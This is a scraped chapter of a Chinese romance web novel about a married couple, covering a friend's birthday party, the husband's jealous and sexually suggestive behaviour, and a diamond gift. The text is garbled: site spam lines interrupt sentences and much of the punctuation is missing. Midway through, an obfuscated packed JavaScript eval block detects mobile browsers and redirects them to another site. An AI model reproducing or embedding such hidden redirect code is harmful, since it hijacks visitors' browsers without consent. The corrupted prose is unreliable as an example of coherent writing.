第49章
作品:《港城夜话[先婚后爱]》 关于两人的最新近况,沈令伊作为关系斐然的女方代表,自然第一时间知晓。
她知道,约等于叶怀谦知道。
偏叶怀谦最近有桩投资要谈,原不知该何时拉梁世桢下水,得到这消息,他丝毫没犹豫,当天便去了趟梁氏。
不出所料,意料之中的顺利。
出来后碰见郑嘉勖,郑助脚步微停,向他恭敬问好,“叶总。”
叶怀谦看一看他,微微颔首,忽地笑了声,“多久没休假了?”
众所周知,梁世桢薪水开得很足,但用人也毫不含糊,他是工作狂,身边所有人日日轮轴转,赚来的钱都没空花。
郑嘉勖不知叶怀谦怎么突然关心这个,他下意识顿了下,思考片刻无果,只得笑着说,“不记得了,叶总。”
叶怀谦微抬下颌,冲办公室门的方向稍稍一指,“别怪我没提醒你,你现在进去提,你们梁总指不定能批。”
郑嘉勖有点不相信,“……真的?”
叶怀谦笑得格外意味深长,“试试,说不定呢。”他补充,“你们梁总最近心情好着呢。”
关于梁世桢最近心情不赖这件事,几乎全公司上下高层皆隐隐约约感觉出来了。
其直观表现便是,他已经接近一周不曾训斥过任何人。
甚至有位高管犯了致命性的低级错误,但好在发现及时,并未酿成损失,可这错实在太不应该,他原本前去负荆请罪,预备引咎辞职,但梁世桢不过是叫他下次注意,驳去他的辞呈。
……这也太诡异。
梁总转性了?冷酷无情大Boss何止这样有过人情味?
一时间,郑嘉勖消息简直被发爆,所有人都跑过来关心他两句然后将话题不动声色转到他老板身上。
「梁总添丁了?」
梁世桢隐婚这事大家是有听说的,但他低调得很,几乎没在他手上见过婚戒,他们原本以为是两人感情不和,但现在想想,万一人家只是单纯低调呢。
对此,郑嘉勖保持官方口吻,“没有,我也不清楚,你们别乱猜。”
否认三连发出去后,他看着自己刚刚获批的长假,禁不住乐出了声。
郑嘉勖能做到这位置,脑子自然是好用的,他大概猜出一点,但不可能乱传。
何况,管他是恋爱还是结婚?他可是实实在在靠这个获得了长假。
十天,整整十天!
带薪,没有工作,没有接不完的电话,Boss也不会找。
郑嘉勖仰天长叹,嘴角疯狂上咧,简直想呐喊。
——天杀的!
他终于有时间找女朋友了!
-
几天后,方邵办生日趴。
别看他这人平常玩闹没正经,看
恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的
似狐朋**一堆,但在这种时刻,他邀请的朋友少之又少,只最亲近的那几位。
诗潼,陈瑜,梁世桢,叶怀谦。
不过今年家属随行,所以又加上全蓁和沈令伊。
算一算,所有人都在,真是极为难得的一天。
去年今日,梁世桢在国外出差,不曾过来,尽管他托诗潼给方邵送来一辆他一直想收藏的古董车,但方邵依旧不满意,为这事念他一整年。
梁世桢一个从不在意自己生日的人实在不明白这有什么好斤斤计较,他又没短他的好处。
梁世桢不明白,诗潼却有几分明了。
所以今年,她早早便缠着她哥将这日的时间给空了出来。
他们这些人,终于只多不少。
诗潼是第一个到的,她出行比较麻烦,所以方邵为照顾她,将地点选在离老宅较近的半山区。
陈瑜有一搭没一搭跟她聊天,两人聊着聊着,话题便围绕至今天多出来的两个人。
陈瑜感慨道,“诗潼,说真的,我好难想象你哥结婚后的样子。
梁诗潼颇为认同,“我也是,但我悄悄观察过,跟婚前好像没有差别,脸还是很臭,讲话依旧很难听,我嫂子忍耐力真好。
“真的?梁世桢是大忙人,陈瑜很难碰到,见状很讶异,“那全蓁图什么?
梁诗潼托腮想了想,“虽然我哥脸臭,但他长得很帅,讲话不好听,就当没听到,可能……瑕不掩瑜?
对于她们这种大小姐,“容忍二字近乎于天方夜谭。
陈瑜思考片刻,还是觉得费解,最终得出结论,“可能是全蓁脾气好吧。
梁诗潼看着从屋内走出来的方邵,心不在焉点头,“嗯嗯!不过陈瑜姐,我觉得方邵哥哥长得好像也不错,而且他脾气很好,很好欺负,如果有得选,我还是宁愿要这样的。
陈瑜大惊失色,“就他?!妹妹,我看你不光近视还散光!
“什么近视?什么散光?
沈令伊刚进门,恰好听到这句,她是跟全蓁一起进来的,性格又比较自来熟,拉着全蓁便往陈瑜那里凑。
全蓁每次见陈瑜,都有种见长辈的局促感,她喊声“陈老师,两手放平,端正坐好。
陈瑜看她一眼,笑,“你怎么这么拘谨,大家都是一家人,放松一点呀。
全蓁也很想放松,但是无果,习惯这种东西还真不是一时能改变的。
陈瑜见勉强不来,倒也没强求,回答沈令伊方才的问题,“诗潼这孩子,我看她就是出门t太少,刚刚竟然跟我说,觉得方邵挺帅,我问她是不是近视来着。
姐姐看自己弟弟,永远相看两厌。
陈瑜是真看
听说和异性朋友讨论本书情节的,很容易发展成恋人哦
不出方邵哪里长得可以。
但实际上方邵长相风流又很会玩正正好便是年轻女孩子最钟爱的那一款沈令伊很诚恳点头“其实真的不赖如果我上学时遇到这种学长我搞不好还会暗恋他呢。”
她为求认同说完看向全蓁“是吧蓁蓁?”
全蓁很随大流地点头反正不管怎么样点头微笑就是了。
陈瑜听罢直呼“救命”站起来深呼吸“我的天哪我真搞不懂你们年轻女孩子。”
她在花园椅子旁绕了半圈越想越觉得离谱索性说声出去透气径直从后门迈出去。
刚出院门便碰上抽完烟回来的梁世桢与叶怀谦。
他们倒没约时间只是恰好一起到正好上次叶怀谦找梁世桢投了点钱这次碰上便借着这根烟的时间深入聊了聊。
见陈瑜夺门而出梁世桢将人拦住低声问“怎么了?”
人的幸福都是比较出来的同样不幸也是。
陈瑜见这两人衣冠楚楚一派精英样再看自己弟弟花枝招展像只孔雀而因为方邵过于烂泥扶不上墙父母近来已经开始对她施压有意让她放弃清闲的学校生活到公司去历练。
陈瑜养老般的生活即将宣告完结她本就苦大仇深现在更是个一点就着的炮仗见了梁世桢与叶怀谦也懒得迂回自暴自弃道“里面三个小姑娘在对方邵犯花痴我呆不下去
三个小姑娘……对方邵……犯、花、痴?
这话一出原本和颜悦色面目舒展的梁世桢与叶怀谦眉头齐齐蹙起脸色一时全都阴沉下去。
连带着周边气温都好似突降好几度。
像是风雨来临前的前兆。
……
餐桌上全蓁第三次去瞄梁世桢的脸色。
她很困惑总觉得这人好像不大高兴但这股不悦非常之微妙若有似无若即若离。
全蓁不理解抿唇思考片刻总觉得……她没有惹到他啊。
难道是工作不顺心?
正想着手机忽地一震。
沈令伊的求救信息发得十万火急“救命!SOS!我又惹爸爸不高兴了!”
“爸爸?你爸怎么了?”全蓁默默敲字。
沈令伊:“Ohhsorry少打两个字是我的金主爸爸不是真的爸爸。”
全蓁:“……”
她看眼叶怀谦又看眼梁世桢蓦地发现二位脸色冷得如出一辙。
全蓁拧一下眉悄咪咪打探“他为什么不高兴?”
沈令伊:“还不是怪你的陈老师散播谣言!她说我们三个还喜欢方邵!”
“还”?
全蓁瞪大
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
眼“……怎么可能?”
沈令伊:“就是呀!完了完了反正我完了我这张嘴真是一点都不长记性我不管我要跑路了你速速掩护我!”
沈令伊打完这行字“唰”一下站起身“蓁蓁你陪我去一下洗手间吧。”
可还没等她说完叶怀谦那目光便扫过来“坐下。”
他嗓音很淡语气却很吓人沈令伊秒怂撇着嘴“唰”一下又坐下了。
全蓁这时已经站起见状站也不是坐也不是只好小心扫眼梁世桢小声说“那我自己去一下洗手间。”
梁世桢看她一眼嗯了声他那隔着镜片的目光瞧着极淡漠疏离看不出任何情绪。
沈令伊隔空递给她一个“祝你好运”的默哀神情。
……
全蓁洗过手站在镜前沉思。
据她的了解梁世桢跟叶怀谦是完全不一样的他讲道理没有那样小气再说只是附和点点头场面话而已有什么要紧。
这样想着她惴惴的心渐渐落下来随手抽张纸巾将手指擦干打开门正欲回餐厅脚步忽然顿住——
卫生间外梁世桢正倚在窗台旁点了根烟。
烟雾缭绕指尖他那冷淡至极的眼眸与透过窗的月光一同投过来。
可真的冷淡吗。
为什么她觉得那眼眸极深邃正酝酿着一场几欲让她承受不住的风暴。
全蓁下意识屏住呼吸那颗惴惴的心再度飞速跳动它快得好似要蹦出胸腔不受控制得吓人。
这是一种对于危险降临前本能的直觉。
事实证明她的直觉完全正确。
将将被打开的门再度合拢可她的月退却一霎被分开。
他将她压在门板上眼眸极深距离极近呼吸掺着酒液与烟草气息热而滚烫那目光好似要在她摇摇欲坠的心上烫出一个永恒的疤。
这是在别人家里别人的卫生间随时随地都会有人过来全蓁紧张到呼吸骤停
“嗯?”梁世桢不放开她反而将她压得更紧他的唇距离她仅咫尺呼吸喷洒好似变相的痴缠亲吻。
全蓁受不了他这样低沉的嗓音这样深暗的注视别过头顾左右而言他“为什么陈老师跟方邵是姐弟他们的姓却不是同一个?”
梁世桢:“……”
这种时候她竟然在想这个?
梁世桢脑中蓦地跳出方邵那模样“花痴”二字再一次自眼前滚过。
所以她究竟喜欢多少人的脸?
对多少位男士夸过他长得好看?
腰身被用力一箍全蓁被那力道带得仰起头她不得不惊惶地跟
你的朋友正在书荒,快去帮帮他吧
他对上目光,冷白日光扫下来,将眼前男人的情绪衬得格外明显。
他不高兴,而且很不高兴,转移话题毫无作用。
全蓁转一下眼眸,果断认怂,“对不起……
“对不起什么?梁世桢若有似无捏着她的颈,他完全拿捏住她的命门,好似她只要回答得不对,他便能在这里漫不经心惩罚她的心猿意马。
全蓁被捏得整个人都缩起来,在梁世桢之前,她完全不知道自己居然有这么多敏.感点,腕心会发麻,颈后会发软,更别提……当他的手掌移到别的地方时,全蓁整个人被激得颤了一下,“别!别……
她怕了,两手抱住他的腰,软绵绵撒娇,“我错了,下一瞬又委屈,“可这也不能怪我……诗潼那么说,伊伊也那么说……我……
她只是从众,从众是人的天性,难道这也有错?
好不讲道理。
全蓁不敢讲,可梁世桢看得明白。
倔强不知错的小朋友当然需要被惩罚。
高高抬起,轻轻落下怎么会长记性。
所以……那束缚很快被解开,全蓁被梁世桢抱起,整个人腾空的同时,莓果应声而出,她惊呼一声,下意识低头,唇却被一瞬封住,与此同时,山丘起伏,山峦浮动,她沦为砧板上的鱼肉,猎人手中的羊羔。
双眼涣散而迷离,她的失重来得如此迅疾而真实。
全蓁眼中迅速蓄起一汪泪,他不怜惜她,他在欺负她,欺负地专心致志,聚精会神,惩罚意味很快变质,快乐的已不知是谁。
全蓁要哭了,眼泪要掉不掉,他没有在吻她,他在吻别的令她心跳加速呼吸迷乱的地方,月光从窗口透进来,倾洒的银辉好似烈火,烤得他们如折如磨,如置盛夏。
门外脚步声倏而靠近,又一霎远离,全蓁的心亦这样七上八下,起起落落,提到心口,又猛地坠下去。
不知多久,当她伏在他肩头缓缓平息时,脸上已满是泪痕,梁世桢替她擦,她已经没力气别过头表示不满。
她这副模样,没有男人能够无动于衷,梁世桢吃饱,阴郁情绪一扫而空,讲话也温柔起来。
“对不起,他低头吻一吻她的眼睛,道歉道得十分干脆,“下次不要那样夸别的男人。
他喉结吞咽一下,坦然承认,“……我会吃醋。
全蓁嘴巴上没有多余精力骂他,当然,主要是不敢。
她害怕再来一回,但在她心里,梁世桢的好印象已经经此一事全然被推翻。
他不光不讲道理,小气,占有欲强,为人还极其恶劣,超级过分,还……除此之外,还很瑟!
而与此同时,在外不小心听到部分又匆匆离开的陈
如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦
瑜同样表示:救命!诗潼还是太不了解他哥哥了!男人结婚前后变化真的好大!!
-
这天晚上,全蓁是穿着梁世桢的西服被他抱着提前离开的。
她甚至不好意思自己去打招呼,衣服潮得好明显,他们离席这样久,大家又不是傻子,总之,全t蓁实在没脸见人。
这一路,全蓁都没有理梁世桢,准确来说,从上车起,她就执着得没有再看他。
虽然也不知道自己是在较什么劲,但较劲嘛,哪有那么多道理。
他让她恼,让她哭,让她连道别都不好意思,难道还不够吗。
梁世桢逗了她一路,没有任何用。
小姑娘很倔,倔到不肯搭理他的任何示好。
于是梁世桢索性转道,叫司机开去就近的商场。
到地方后,全蓁不肯下车,勉为其难偏头,瞥他一眼,“你做什么?”
梁世桢牵她的手,答得很是理所当然,“表达我的歉意。”
其实这场气生到这里基本差不多,全蓁看眼灯火辉煌的商场,小声说,“我不要。”
她甚至都没看是什么,梁世桢觉得好笑,示意她下车,“没关系,先去看看。”
全蓁看眼身上的西服,拒绝。
梁世桢掀开扫一眼,又迅速盖上,“没事,穿不穿都行。”
没多大痕迹,这样反倒挺欲盖弥彰。
全蓁想了想,最终还是没有将西服脱掉,欲盖弥彰也好过没有安全感。
因为不知道梁世桢会来,所以店内并没有提前清场,两人到时,店长愣了下,随即迅速迎上来。
“梁先生,您要的东西今天刚到,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16275236|182396||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很抱歉没有第一时间送达,叫您亲自跑一趟。”
她话说得漂亮,交谈间,将人领去贵宾室。
梁世桢明显是早有准备,他知道,Sales知道,只有全蓁一脸懵。
“什么东西啊?”她悄悄问。
梁世桢笑,但搞神秘,“一会你就知道。”
全蓁的确很快就看到了实物。
那是一颗粉钻做成的项链与耳环,只是与从前不同,这次的耳环是耳夹样式,谢天谢地,全蓁终于能够戴上。
Sales为她试过后站在她身边称赞,“真的很衬您,这颗宝石就像是为您量身定制。”
哪怕全蓁寻常并不精通这些,也知粉钻是出了名的昂贵。
更别提,梁世桢一早就已经定下。
全蓁看他一眼,偷偷别过头,小小声,“休想用金钱贿赂我。”
梁世桢跟她一同站在镜前,指尖轻轻拨一下她的耳垂,偏头用只有两人才能听得到的声音,含混着笑,低声道,“再给我一次机会。”
什么机会。
全蓁假装听
你身边有不少朋友还没看到本章呢,快去给他们剧透吧
不懂,在镜子里瞪他一眼。
她这眼很没威慑力,配合微微薄红的脸颊,反倒惹得人又想欺负。
梁世桢滚了滚喉结,略有些生硬地移开目光。
……
从店里出来,梁世桢忽的手机震动,他朝全蓁扬一下手,握着手机走去一旁接电话。
全蓁手被他牵着,没站太远,有一搭没一搭踢着鞋尖。
这通电话时间有些长,讲了五分钟都没有等到结束,但全蓁倒是等来一位老熟人。
孙骞。
他带给她的回忆并不友好,全蓁还是在察觉到他那熟悉的令人不适的打量目光时才惊觉,这个人她似乎认识。
孙骞独身一人,身旁并无人作陪,路过全蓁身边时,他的目光从她的手上辗转至她与梁世桢牵着的手,又从他们相握的手转到她另只手上那价值不菲的品牌。
有些人的视线叫你如沐春风,而有些人的视线令你宛如吞咽一只苍蝇。
很明显,孙骞属于后者。
可他似乎并不这样觉得,甚至于,他知道,但他故意。
反正只是看看,又不会怎么样。
全蓁没说话,轻轻拽一下梁世桢的衬衫下摆,在他视线撇过来的那瞬间,孙骞好似被惊到,迅速离开。
全蓁自嘲地勾了下唇。
你看这些人,真的很懂得拜高踩低。
柿子哪个软,便挑哪个捏。
因为这件插曲,全蓁一路上都有些闷闷不乐。
她知道,自从全耀辉故意伤人被送进去后,他那边的许多亲戚都在说她心肠狠毒、忘本、连自己亲生父亲都不放过。
可全耀辉的所作所为却被他们自动忽略,好像父亲是一枚无限期的免死金牌,无论他做什么,只要是父亲,就可以逃脱一切指责。
加害者变成受害者,这个道理,全蓁不明白。
而全耀辉确认进去后,倪曼婷便将家中所有值钱物件变卖一空,扔下自己口口声声最疼爱的儿子跑路。
这一刻,全蓁竟然因为全鑫成与她同病相怜而感觉到一丝快感。
她一方面唾弃自己,一方面又觉得全鑫成好可怜。
所以,在这种矛盾的心境下,全鑫成的开销一直都是由她在负责。
总之,好复杂啊。
她既狠不下心,却又没有真的那么好。
全蓁甚至觉得,自己对全鑫成的帮助并非出于姐弟情谊,而只是为了弥补自己那不小心露芽的阴暗面。
一旦想到这里,她就会更加唾弃自己。
“怎么了?梁世桢偏头看她一眼。
全蓁不知自己走神得厉害,“啊
她蓦然感觉脆弱得厉害,双手伸过去,抱住梁世桢的腰,“你
听说看这本书的人都是很幸运的,分享后你的运气会更棒
觉得我坏吗?”
“哪里?”梁世桢意有所指。
全蓁抬眸瞪他一眼。
小姑娘脾气越来越大,梁世桢招架不住,笑一声,“好了,说正事,怎么突然问这个?”
全蓁用手指卷他的衬衫,嗫嚅,“就……我其实从小就很讨厌鑫成,现在也没有喜欢到哪里去,但我又要装好人,好像全世界只有我一个人管他,叫他感恩戴德,可实际上……他是无辜的,也确实没人管他……”
全蓁讲得很委婉,但梁世桢听明白了,他不答这问题,只问,“刚刚碰到谁了?”
全蓁低头,“这不重要,我就是突然自己很矛盾。”
“矛盾在哪里?”
“就刚刚……我讲的那些,而且我爸那件事,你会觉得我做的过分吗?”
梁世桢低眸,在昏暗的灯光下看她,“过分在哪里?”
他那目光毫无探究,仿佛只是真诚发问。
全蓁眨眨眼,忽然被他问住。
梁世桢抚着她的头发,嗓音低缓,“你父亲做事冲动,你对他有怨,很正常。他偏心,你对弟弟有怨,这也很正常。现在你是在为你父亲对弟弟尽责任,他应该感激,而不是怨怼。”
“全蓁,人无完人,君子论迹不论心,孔孟对圣人的标准都没有这样严苛。”
“不必太为难自己。”
暗色调的灯光下,他眉眼锋锐,下颌凌厉,而在这种氛围里,他的嗓音听上去好似一把正在徐徐拉开的大提琴,低沉而动听。
全蓁不由仰起头,深深看向面前的男人。
他的衬衫永远扣至顶端,矜贵而庄重,而他的目光又是那样柔和,充满年长者的包容。
全蓁觉得自己被安慰到,豁然开朗。
她伸一只手去勾他的脖子,小小声,“……突然好想亲你。”
这好像是表达喜欢最最明显的明示了。
梁世桢永远快她一步,在她够上来前便已主动俯身,承了她难得主动的献吻。
“唔……”全蓁被抱坐到他身上,心有余悸按他的手,“不准亲别的地方。”
“好。”梁世桢嗓音微哑着答应。
可还没亲一会儿,全蓁又忽的向后仰头,退开翻旧账,“你不准主动,我还欠你两次,我主动。”
她竟然在这种事情上都有一种莫名的好胜心。
梁世桢无奈,轻笑着将手松开,居高临下睨她,像是全然放手,看她究竟能弄出何种名堂来。
全蓁抿着唇,谨慎得一点点靠近,像是刚刚见到人类的小鹿,懵懂而无知。
她生怕被抢夺先机,试探再试探,然而那试探无异于野火燎原,即将成功时却还是被梁世桢猛地扣住后脑勺,反客为主。
“唔……”全蓁被他突然的入侵激出一声轻喃。
与此同时,她悲催得想,这两次,她可能这辈子都不会还上。
车内气氛暧昧之极,全蓁完全被梁世桢掌控,那一点开小差的想法也消失殆尽。
但好在,这只是一个安抚意味的吻,侵入之后便是绵长的温存。
梁世桢一点点啄吻至她的颈间,全蓁被他亲得又麻又痒,不住想躲,奈何躲不开,她只能抱住他的头,抚摸他的发,双眼失神得望向车顶。
但那吻很快回到她的唇边,一下又一下,轻轻地啄。
全蓁被他亲得大脑混沌一片,但鬼使神差想明白一件事,“梁世桢,我喝醉那晚肯定不是我主动的吧?”
他连她清醒时都不让,更别提喝醉。
“现在才反应过来?”梁世桢低低笑一声,最后啄一下她的唇作为结束,似某种嘉奖,他埋在她肩窝,那声调喑哑性感得要命,“还不算太笨。”